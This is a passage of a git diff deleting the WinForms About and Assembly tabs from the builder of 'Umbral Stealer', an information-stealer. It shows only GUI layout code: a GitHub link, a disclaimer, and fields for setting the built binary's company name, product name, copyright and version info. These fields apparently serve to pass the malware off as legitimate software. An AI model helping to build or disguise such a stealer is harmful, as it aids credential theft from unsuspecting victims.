System.Drawing.Size(71, 24); - this.label2.TabIndex = 3; - this.label2.Text = "Author:"; - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F); - this.label3.ForeColor = System.Drawing.Color.Lime; - this.label3.Location = new System.Drawing.Point(86, 369); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(135, 24); - this.label3.TabIndex = 4; - this.label3.Text = "Blank (Blank-c)"; - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F); - this.label4.ForeColor = System.Drawing.Color.DarkViolet; - this.label4.Location = new System.Drawing.Point(9, 126); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(102, 24); - this.label4.TabIndex = 5; - this.label4.Text = "Disclaimer:"; - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F); - this.label5.ForeColor = System.Drawing.Color.MediumTurquoise; - this.label5.Location = new System.Drawing.Point(108, 126); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(504, 24); - this.label5.TabIndex = 6; - this.label5.Text = "Umbral Stealer is distributed under the Apache 2.0 license. \r\n"; - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F); - this.label6.ForeColor = System.Drawing.Color.MediumTurquoise; - this.label6.Location = new System.Drawing.Point(9, 150); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(653, 168); - this.label6.TabIndex = 7; - this.label6.Text = resources.GetString("label6.Text"); - // - // AboutTab - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - this.Controls.Add(this.label6); - this.Controls.Add(this.label5); - this.Controls.Add(this.label4); - this.Controls.Add(this.label3); - this.Controls.Add(this.label2); - this.Controls.Add(this.label1); - this.Controls.Add(this.githubButton); - this.Controls.Add(this.aboutLabel1); - this.Name = "AboutTab"; - this.Size = new System.Drawing.Size(667, 477); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Label aboutLabel1; - private System.Windows.Forms.Button githubButton; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label label6; - } -} diff --git a/Umbral.builder/User Controls/AboutTab.cs b/Umbral.builder/User Controls/AboutTab.cs deleted file mode 100644 index f8477fc..0000000 --- a/Umbral.builder/User Controls/AboutTab.cs +++ /dev/null @@ -1,19 +0,0 @@ -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Umbral.builder.User_Controls -{ - public partial class AboutTab : UserControl - { - public AboutTab() - { - InitializeComponent(); - } - - private void githubButton_Click(object sender, EventArgs e) - { - Process.Start("https://github.com/Blank-c/Umbral-Stealer"); - } - } -} \ No newline at end of file diff --git a/Umbral.builder/User Controls/AboutTab.resx b/Umbral.builder/User Controls/AboutTab.resx deleted file mode 100644 index b79b587..0000000 --- a/Umbral.builder/User Controls/AboutTab.resx +++ /dev/null @@ -1,216 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - - - - iVBORw0KGgoAAAANSUhEUgAAAOYAAADhCAYAAADcb8kDAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAA3 - WgAAN1oBS8TgIgAAERxJREFUeF7tnYuZEzkQhAmBEAhhQyAEMjgygAwgA8gAMlgyIARCIARC4KpsCXtt - jz0vSV1S/d83d6ztmdGje7rVamleGWOMMcb0wd+/f9/geMLxFsf7s+PzgyP/7h0OnstrvEmXNcZMAUV5 - nRSGCvQRxzcczzh+4/iDoxS89i8cP3F8wUFFpgI/paIZMwYQeiohhZ8KmJUvKlRaljErrC2t6QMIMy1h - toKRlXAurAOVlXWyZTUaQFg5FszWsKQbGgXWkXWlG26LauIAgWRQhWO0HiziVtgGbIu3qXmMqQcFLwng - CFZxLVRSuvBWUlMOChiOTzisjMvJSmp312wHgsQoKseMnFIw+8BoL8ekr1MzGzMPCA2jqXZVy8K2tRU1 - j4GQ0F21dawP29xjUfMSCkUSDtMWjkXfp24xo0IhSMJgYmEFHRF0Oi2kFTI+VtARQCfbZdWECuoxaG+g - U5kqZ4XUx1HcHkAnch6SSQGmL9inngdVBB3HpUoeR/aLx59KoLPsto6F3dvooIM+4HC2zniwzz8mMTBR - QKfYShpCGbD1jAA64j8ctpIm47FnS9D4jLgy0dyYW1A2HLmtCRqcqz8ccTWPoIzYta0BGtoBHrMEB4ZK - gwa262rW8iWJkdkLNCqjrlz5bswWKEN2bfeADYnD40mzFx53bgUNyNUgHk+avaFMvUtiZpaAhmOQx5iS - OCi0BDSYV4SYWnxKYmfuwYY6tpcx1bBy3gMN5OkQ0wor5y3QMFy+Y0xLviVxNIQNcmwXY5pj5SRoCLuv - JhpjKycawIEeE5Uxx5ys+LH+xoRlLOVkhY/1NiY8YygnKsodB4xR4r8kvn2CCnKBszFqMLf2KYlxX6Bi - XiVilOlvVQoqxP15rJRGHcpwP/sIoTLPh2oZo89zEmttUBFHYE1vaEdqUQEudDamRzRfC4iCO9hjeoaR - Wr1gEAod4ZUFbDw+HPLhbUp0yX3JDbUoWxEe+j+TuGuAAkcYV95sNHzOCDFd7I84GJSK0MHmJVRCKt9n - HHyd4k3LhM8jDJU0tidBQenCRmD2+yvwWyY+fMVhJW0HlZHL/6hss6ck8NsInlns8SYKGGm+ctV8E86j - kn7HYbe3DlSs9zjW9hc9n9ZQ5uPOb6JwUdZW/khFWg2uwYcMBcZWdH/40KOHstnS4BrspwjE3OkdBYs0 - NbLra9h4PRxW0O1QITlu3NW64HoR3FkSz6VFoSIJbpEwNq5rBV1HEYXMpGtHIJZLi8JEyu75lYpVDNzD - CjofBnSKzvfh+pG8tc+pWG1BQaJEYTNfU9GKg3vxSe0g0W3oXlZx7XAfjjMj9UP7xAMUIlqCetV3UuB+ - fDAxirsntMZsV1obKj8jj7TStAyMGvOePO66Tfw+/Y7n8FwevA6vyeAL70EF2lOoea3qr1rHPSO9Da5t - 4gEKwE6ORpMFrbgvJ8KXuLcUYAoTlY+KNzmRXgPcm0pMBWY5qLhU2qXCTmVvMsZK945Eu5cW4ebhxlmp - aM1AEaYCEWwrKiEfZjKr4VFWKiwtLes1ZV1Zt6YRSdw/wnzmOWyT+g8p3DTicq7igZ85oBx0H2lt+BSn - IsaJ1O0A6kPLSkWgojazkuegDLT00agbCMINKXjhrCXQSio2u4G+p0xGg95FvYcWbkaXLCLe3n5Q0PdR - MoAuqWM1caOIT6ZMjDkk04QkA9Gg1Swf1MNNolpLYsUcGPR/xOEVKevJ4QaRrSWxYg4M+j+qYpJyVhMX - j2wtiRVzYND/kRWzTEYaLhzdWhIr5sCg/yMrZpkILS4a3VoSK+bAoP8jKybZVz5xwajzlpdUS2A38Ugy - EJl9rSYuFjEn9haexxwU9H3UecxL9rOauJiCtSQhUvJMfdD3TBNU4Hcq8jZwoYg5iFPsU2kjB/peSU63 - J/zjItHWWz6iq4RxMw/0+9Sqnohsy+nGBRSmSC6JtyGSKQ76fRwDgpOjrXGbg6dMBgT9fmudaGTWyylO - Vgn6nOOlX4OBPlcJ/JyzLh6CEyPtPLYUjzMHAv2t6NmR5cMunKSQ6TNF9c2gTDvQ35E24lrC8oQYnKTo - xmacaDAI6GuVxIJb/EnVmAdOUHZj+UBpv6+nqQb6WyUz7Rbz3Vn8WNWNtVIOCvpdaR7znPnuLH6s6sa2 - 28vTNAf9H+XlQkuY587ih4qhZ+L5y8GBDHC8qWhUHruz+JGiS+AcWXMAsqAYH3lsVPAjRXfA40rzD8hD - tNclPOJ+Ugx+oBh6tgtrXgCZUHRpp5Ni8KXS0hnCxneWj7kCcqEmy9OBS3yp5gI4w8dMAvlQGpZNT5vg - S6XUJgd8zF0gI0qBoNu7b+ALtfGlraV5COREyWpeD8vwodLTxdbSzAKyoiTX1/OZ+FBp/tLW0swG8qIS - of2YinwCHyqZfM9bmtlAXlSMzo9U5BP4UGVrhuvCG3MHyIxK/OTlEA0fKAV+7MaaxUBuVDzCUwAIfygN - kJ1QYBYDuVHZfuSUaIA/VArtjbbMKiA7KluxngJA+EMl4+c6amXMTCA/CtHZ07Y4+EPF//ZmzmY1kJ/v - RzEKzSkDCH9IRGRTcY1ZBURIYW+gU2Q2fRAdjy/NJiBDKrtzvFYqrF9KazYBGVKZFnzDwqpMlTjwYzYD - OVIIAL1jQVX25PQOeGYzkCOFQOd7FlQlj9ARWbMZyJFCZPYzC6oyh+nEdbMZyJGCvH9VeYIQp+KZzUCO - FDzEbyyoRHJBaldjNgFRUkg//WnFNEMBUVIIdv5iQSVWd6d2NWYTECWN7B/+5/jv2KR2NWYTECUZxXSe - rBkGiJKCYv5hQSVI7WrMJiBKEvP2MooJPF1iNgM5smLujBMMzGYgR1bMnbFims1AjiQy3ZQU07myZjOQ - I4lMNyXF9OoSsxnIkUZCTfq/At5P1mwGciTxRjsWVGUHdr852mwGcqQg74d5TJUXrpy29TNmJUmWoqOT - kgf8zhKzCciQyv5WB8VUeYu034lpNgEZUtnfSmfZV8LZP2Y1kB+dV4HgPyo7GJCn1MbGLAby8+0oRuE5 - 7GCgsucP8ZSJWQ3kR8U7POz5o7JLHvGmz2Y1SYYUOOySp7KvLDm9cMWYBUB2lN4Be9hX9t3x3zI4AGQW - A7lRCfyQtyywygs9M05mN4uB3DwfxUeCJxZY5UUrGY8zzWIgNyqpp6fdOvBvlewf4nGmWQRkRml8+ScV - +1BwleyfjMeZZjaQF6UpwdN7YPGHUpIB8Sv5zGwgL0oe4Wmohj+UIlbEb5c2s4CsKLmx5GR08IfalAlx - ep55COREJQ0vc5p1wB9qkVnihdPmIZATJTeWvIyf4AOZcHKC5XUQyEwC+VDKaiPXSxvxodIEbMZW00wC - +VCzltebAeBDpWT2jBdPm5tANtSsJbk2NPhQLXqV8VIwcwXkQs1akut0U3yoGAAiHmuaF0AeFK0luS3H - +EItAyjjsab5B+RB0VpOp5riS6XUpXNoNf1uE0MZ/nSQCD2mF2fgS8VEg4yzgQYHMqC2hPGc6VeA4EvV - cWbGObQDg/5XdGEz9+Mk+IHSdpaX0KV1qt6AoN+/HCRAk8feHn6kOJ95Dp+ajtIOBPr7w6HndXns6eFH - qvOZ53i8OQjoa772QC2d9JJ5Xh5+qF5R8iVVx3QK+pjBHuVxJZmfvYYfq06bXPIpVcl0Bvq2B6Uk899i - hx/34M5mrJydgT7tRSnJsl0fcUIP7mzGbm0noC85puxFKZcvwsBJvbizGaYbOjtIGPQfE2B6MhjLX8aM - k3pyZzN80lo5BUG/qaba3WPd5uU4sReX4RKPO0VAX3E8qZz0MsX6tcQ4WT3Z4B7sbFvPwKB/mDjQk+t6 - zvp1xDhZPXd2DraewUCfcBjVo5U8Z5tRwAV6byBCl907ITQGfUC3VW27yTVc7+2zFFykxyDQFFbQBqDN - R1HIzD5vrMOFSvr5tMicmuF2EPngzvD8rJW1PigoDo9BC4L2HcFlvWS/DeRwsRJBoFlTF/wNDipJqwgx - n+TTi1jNItCWjFtw6kN1G5ut7OeR4WJszL2t5uJ9enBOSwXlfamk+7ghA4E248OVXtBo1vESytC+SxJx - wb2t5qqlWTiPD4nWWUl8SHGDbD4ovDD7ArQJ+4huKhcvj2oZb7E80+cRuGiJqZPVUxU4l0oRZY6LT0Iq - Kq0CBXKohdqobx5uWBHvUyZmgQuXeI/mFuWkQLRybR9BAaXrRmGl0EorLMuOg+3NfFU+gOjWs469JgDs - zf7WMoOLs2NKQOFdJbQ4L7JyTkHrKqGkKGdvieOtKBvhxw1KvX2ayrUq+onzlJST5ZSahkF5e07NrEE5 - a5nBTUpZzQxdpMWCi3MU9n5h+aSUMoNyK74NLgp1+hw3Kv0EXWVVcE70V9bL7nuLsnOMqTZkiEB5a5nB - zdhJpa3TWuWMusD7ORVRFtRhpPTMPag/bMENa4w7WLFFQRL+Pp0XDUkX9hLUY/QkgSXUf9kVblpLARYn - IuCcaE/2eu5MYVAXW815tHupMm5e6yVEizfTwjmRghVdWMsM6mOr+Zi2q5RQgFqdtChHFb+P4tJ2tys8 - 6mSreZ/28QQUovT0SWbNeDOCAHW5vhP1ctLBNDE8JBSk1gT0Gpe29RRKV25sBvXqbXvTvYjzdnMUpqbb - uHjZFc5plbnS7cuNUDfllxyXol3AZwoUqpbbuHa5WAvlnH59tzioGx/G5iUxlwCiYLXcm1XjNpxXWzm7 - 3vkA9Ys4X9yKuA9hFK6WS8vAw9rVKLTstQSq60XUqF+pBQ1qLA5MVgcFrOXSrh5k41xGkksLVbfjywzq - 2GrsHg2NAB8KWiMSutpqZnD+3grKMg2zLxDqyQXgoxMnCjsHFLhG4sEuqzVwHSoohWxNmenGcGxNTyG2 - O7MzqO/okVk9rwiFprCXnoTevWFwTY6TqWS0+nTVaAHPD35GJeb6z6EU8ZLUBqPCB7LmHDUKXmO86e0k - G4G2r5X1FRHtiDsqUDpA0H2QJSpo+1EVU2tcOQUqUnqlh61mA9DuIyqm/IL3f6Aypec3bTUbgHYfTTHj - z1cuBRViJ5ZUTtn9dFRBm4+kmLrBnkegYqV3srNLWxG090iK2ferMFDBkpPSVPo+n2oBYVsfWr1/xnhn - KipaMlLbr8sRDLbzocX7po8I7FxY4WO9i0DLOcZTriFo494VcyylzLDix/oXg+9EsfUsBNv20Mp9MqZS - ZtAApddw0rW19SwA2rVXxfyeqjg2bIhjexTloKA4bEF3gm3Jhu0MK+U5bJBju1SBmUjFlJTXLXXtSKR6 - 9oSV8hZomNJjzlvQklJReW8uY2LiPQXuZoYHP0/fc06Wv6eC81yuPDl/kWv37jPq2JNiWinvgQZqoZwl - sGLqMHagZy5sqGN7SWPF1MBKuQQ0WPR3XT7Cihkf51evAQ3H8V7pXRBKYcWMixNQtoIGZOczQKOGFTMm - lKW+E9JrgYakADDiqYQVMx6UIc9j7w0aVSkoZMWMBTPMht48rShoXAaFFMadVsw4OMhTAzQ0BSL6uNOK - 2R6PJ2uDBmcGTuR3NHY/P4Y6RlZMZnPZdW0FGp8pcRGt5wiKWWPf4KVwmGPXNQLoCD65o715yopZH77i - wlHXaKBTIllPK2Y9bCWjgw6KYj2tmHWwlVQCndXaeloxy2IrqQw6r1VSghWzHE4W6AF0Ygv31oq5P3Rb - val3b6BTuetArZxbK+Z+cEhihewddHKN8acVcztenjUi7HQcpRTUirkeKiRjAx5HjgwEgArK8cueWDGX - w4ckFylYIc0JCAQFba8g0QhJ7MxX3gMHdcxjICQ5irvFzR1i0hv1XOtp0F1lorkV0iwHgrPGze3ejc2g - rkvdWUbFPX68y6tX/wN/yboBLreXmwAAAABJRU5ErkJggg== - - - - The author of this app takes no responsibility for any damages or issues that -may arise from the use of this software. -The software is provided as is, without any warranty or guarantee of any kind. -The user assumes all responsibility for the use of this app. -We highly recommend that you download Umbral Stealer from the official -GitHub repository to ensure that you are getting the most up-to-date and -secure version of the application. - - \ No newline at end of file diff --git a/Umbral.builder/User Controls/AssemblyTab.Designer.cs b/Umbral.builder/User Controls/AssemblyTab.Designer.cs deleted file mode 100644 index f698c64..0000000 --- a/Umbral.builder/User Controls/AssemblyTab.Designer.cs +++ /dev/null @@ -1,699 +0,0 @@ -namespace Umbral.builder.User_Controls -{ - partial class AssemblyTab - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.label1 = new System.Windows.Forms.Label(); - this.companyNameTextField = new System.Windows.Forms.TextBox(); - this.fileDescriptionTextField = new System.Windows.Forms.TextBox(); - this.label2 = new System.Windows.Forms.Label(); - this.productNameTextField = new System.Windows.Forms.TextBox(); - this.label3 = new System.Windows.Forms.Label(); - this.productVersionTextField1 = new System.Windows.Forms.TextBox(); - this.label4 = new System.Windows.Forms.Label(); - this.trademarksTextField = new System.Windows.Forms.TextBox(); - this.label5 = new System.Windows.Forms.Label(); - this.copyrightTextField = new System.Windows.Forms.TextBox(); - this.label6 = new System.Windows.Forms.Label(); - this.internalNameTextField = new System.Windows.Forms.TextBox(); - this.label7 = new System.Windows.Forms.Label(); - this.label8 = new System.Windows.Forms.Label(); - this.label9 = new System.Windows.Forms.Label(); - this.originalFilenameTextField = new System.Windows.Forms.TextBox(); - this.label10 = new System.Windows.Forms.Label(); - this.productVersionTextField2 = new System.Windows.Forms.TextBox(); - this.label12 = new System.Windows.Forms.Label(); - this.label11 = new System.Windows.Forms.Label(); - this.productVersionTextField3 = new System.Windows.Forms.TextBox(); - this.label13 = new System.Windows.Forms.Label(); - this.productVersionTextField4 = new System.Windows.Forms.TextBox(); - this.label14 = new System.Windows.Forms.Label(); - this.fileVersionTextField4 = new System.Windows.Forms.TextBox(); - this.label15 = new System.Windows.Forms.Label(); - this.fileVersionTextField3 = new System.Windows.Forms.TextBox(); - this.label16 = new System.Windows.Forms.Label(); - this.fileVersionTextField2 = new System.Windows.Forms.TextBox(); - this.fileVersionTextField1 = new System.Windows.Forms.TextBox(); - this.label17 = new System.Windows.Forms.Label(); - this.assemblyVersionTextField4 = new System.Windows.Forms.TextBox(); - this.label18 = new System.Windows.Forms.Label(); - this.assemblyVersionTextField3 = new System.Windows.Forms.TextBox(); - this.label19 = new System.Windows.Forms.Label(); - this.assemblyVersionTextField2 = new System.Windows.Forms.TextBox(); - this.assemblyVersionTextField1 = new System.Windows.Forms.TextBox(); - this.SuspendLayout(); - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label1.ForeColor = System.Drawing.SystemColors.Control; - this.label1.Location = new System.Drawing.Point(19, 27); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(108, 16); - this.label1.TabIndex = 0; - this.label1.Text = "Company Name:"; - // - // companyNameTextField - // - this.companyNameTextField.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.companyNameTextField.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.companyNameTextField.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.companyNameTextField.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.companyNameTextField.ForeColor = System.Drawing.Color.Silver; - this.companyNameTextField.Location = new System.Drawing.Point(144, 22); - this.companyNameTextField.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.companyNameTextField.MaxLength = 150; - this.companyNameTextField.Name = "companyNameTextField"; - this.companyNameTextField.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.companyNameTextField.Size = new System.Drawing.Size(494, 24); - this.companyNameTextField.TabIndex = 1; - this.companyNameTextField.TextChanged += new System.EventHandler(this.TextBox_TextChanged); - // - // fileDescriptionTextField - // - this.fileDescriptionTextField.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.fileDescriptionTextField.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.fileDescriptionTextField.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.fileDescriptionTextField.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.fileDescriptionTextField.ForeColor = System.Drawing.Color.Silver; - this.fileDescriptionTextField.Location = new System.Drawing.Point(144, 65); - this.fileDescriptionTextField.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.fileDescriptionTextField.MaxLength = 150; - this.fileDescriptionTextField.Name = "fileDescriptionTextField"; - this.fileDescriptionTextField.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.fileDescriptionTextField.Size = new System.Drawing.Size(494, 24); - this.fileDescriptionTextField.TabIndex = 3; - this.fileDescriptionTextField.TextChanged += new System.EventHandler(this.TextBox_TextChanged); - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label2.ForeColor = System.Drawing.SystemColors.Control; - this.label2.Location = new System.Drawing.Point(19, 70); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(103, 16); - this.label2.TabIndex = 2; - this.label2.Text = "File Description:"; - // - // productNameTextField - // - this.productNameTextField.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.productNameTextField.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.productNameTextField.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.productNameTextField.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.productNameTextField.ForeColor = System.Drawing.Color.Silver; - this.productNameTextField.Location = new System.Drawing.Point(144, 108); - this.productNameTextField.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.productNameTextField.MaxLength = 150; - this.productNameTextField.Name = "productNameTextField"; - this.productNameTextField.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.productNameTextField.Size = new System.Drawing.Size(494, 24); - this.productNameTextField.TabIndex = 5; - this.productNameTextField.TextChanged += new System.EventHandler(this.TextBox_TextChanged); - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label3.ForeColor = System.Drawing.SystemColors.Control; - this.label3.Location = new System.Drawing.Point(19, 113); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(96, 16); - this.label3.TabIndex = 4; - this.label3.Text = "Product Name:"; - // - // productVersionTextField1 - // - this.productVersionTextField1.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.productVersionTextField1.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.productVersionTextField1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.productVersionTextField1.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.productVersionTextField1.ForeColor = System.Drawing.Color.Silver; - this.productVersionTextField1.Location = new System.Drawing.Point(144, 237); - this.productVersionTextField1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.productVersionTextField1.MaxLength = 2; - this.productVersionTextField1.Name = "productVersionTextField1"; - this.productVersionTextField1.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.productVersionTextField1.Size = new System.Drawing.Size(23, 24); - this.productVersionTextField1.TabIndex = 11; - this.productVersionTextField1.Text = "0"; - this.productVersionTextField1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.productVersionTextField1.TextChanged += new System.EventHandler(this.VersionField_TextChanged); - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label4.ForeColor = System.Drawing.SystemColors.Control; - this.label4.Location = new System.Drawing.Point(19, 242); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(105, 16); - this.label4.TabIndex = 10; - this.label4.Text = "Product Version:"; - // - // trademarksTextField - // - this.trademarksTextField.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.trademarksTextField.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.trademarksTextField.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.trademarksTextField.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.trademarksTextField.ForeColor = System.Drawing.Color.Silver; - this.trademarksTextField.Location = new System.Drawing.Point(144, 194); - this.trademarksTextField.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.trademarksTextField.MaxLength = 150; - this.trademarksTextField.Name = "trademarksTextField"; - this.trademarksTextField.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.trademarksTextField.Size = new System.Drawing.Size(494, 24); - this.trademarksTextField.TabIndex = 9; - this.trademarksTextField.TextChanged += new System.EventHandler(this.TextBox_TextChanged); - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label5.ForeColor = System.Drawing.SystemColors.Control; - this.label5.Location = new System.Drawing.Point(19, 199); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(84, 16); - this.label5.TabIndex = 8; - this.label5.Text = "Trademarks:"; - // - // copyrightTextField - // - this.copyrightTextField.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.copyrightTextField.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.copyrightTextField.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.copyrightTextField.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.copyrightTextField.ForeColor = System.Drawing.Color.Silver; - this.copyrightTextField.Location = new System.Drawing.Point(144, 151); - this.copyrightTextField.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.copyrightTextField.MaxLength = 150; - this.copyrightTextField.Name = "copyrightTextField"; - this.copyrightTextField.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.copyrightTextField.Size = new System.Drawing.Size(494, 24); - this.copyrightTextField.TabIndex = 7; - this.copyrightTextField.TextChanged += new System.EventHandler(this.TextBox_TextChanged); - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label6.ForeColor = System.Drawing.SystemColors.Control; - this.label6.Location = new System.Drawing.Point(19, 156); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(67, 16); - this.label6.TabIndex = 6; - this.label6.Text = "Copyright:"; - // - // internalNameTextField - // - this.internalNameTextField.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.internalNameTextField.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.internalNameTextField.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.internalNameTextField.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.internalNameTextField.ForeColor = System.Drawing.Color.Silver; - this.internalNameTextField.Location = new System.Drawing.Point(144, 366); - this.internalNameTextField.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.internalNameTextField.MaxLength = 150; - this.internalNameTextField.Name = "internalNameTextField"; - this.internalNameTextField.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.internalNameTextField.Size = new System.Drawing.Size(494, 24); - this.internalNameTextField.TabIndex = 17; - this.internalNameTextField.TextChanged += new System.EventHandler(this.TextBox_TextChanged); - // - // label7 - // - this.label7.AutoSize = true; - this.label7.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label7.ForeColor = System.Drawing.SystemColors.Control; - this.label7.Location = new System.Drawing.Point(19, 371); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(93, 16); - this.label7.TabIndex = 16; - this.label7.Text = "Internal Name:"; - // - // label8 - // - this.label8.AutoSize = true; - this.label8.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label8.ForeColor = System.Drawing.SystemColors.Control; - this.label8.Location = new System.Drawing.Point(19, 328); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(119, 16); - this.label8.TabIndex = 14; - this.label8.Text = "Assembly Version:"; - // - // label9 - // - this.label9.AutoSize = true; - this.label9.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F); - this.label9.ForeColor = System.Drawing.SystemColors.Control; - this.label9.Location = new System.Drawing.Point(19, 285); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(81, 16); - this.label9.TabIndex = 12; - this.label9.Text = "File Version:"; - // - // originalFilenameTextField - // - this.originalFilenameTextField.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.originalFilenameTextField.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.originalFilenameTextField.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.originalFilenameTextField.Font = new System.Drawing.Font("Microsoft 